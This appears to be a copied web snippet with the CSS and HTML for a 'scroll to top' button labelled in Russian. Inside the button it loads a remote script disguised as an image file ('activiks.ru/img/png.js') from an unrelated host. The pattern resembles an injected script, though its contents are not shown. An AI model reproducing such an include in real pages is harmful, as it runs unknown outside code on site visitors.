#scroll_to
{
/* display: block before hiding */
display: block;
display: none;
z-index: 999;
opacity: .8;
position: fixed;
top: 100%;
margin-top: -80px;
left: 90%;
margin-left: -80px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
width: 100px;
padding: 8px;
background-color: #f1f1f1;
font-size: 14px;
text-align: center;
border: 1px solid #CCC;
}

#scroll_to a { color: #222; text-decoration:none;}

<a id="top"></a>

<script src="http://bambun.ru/css_js/scroll_to.js"></script>
<div id="scroll_to"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><a href="#top" id="top-link">^ Наверх ^</a></div>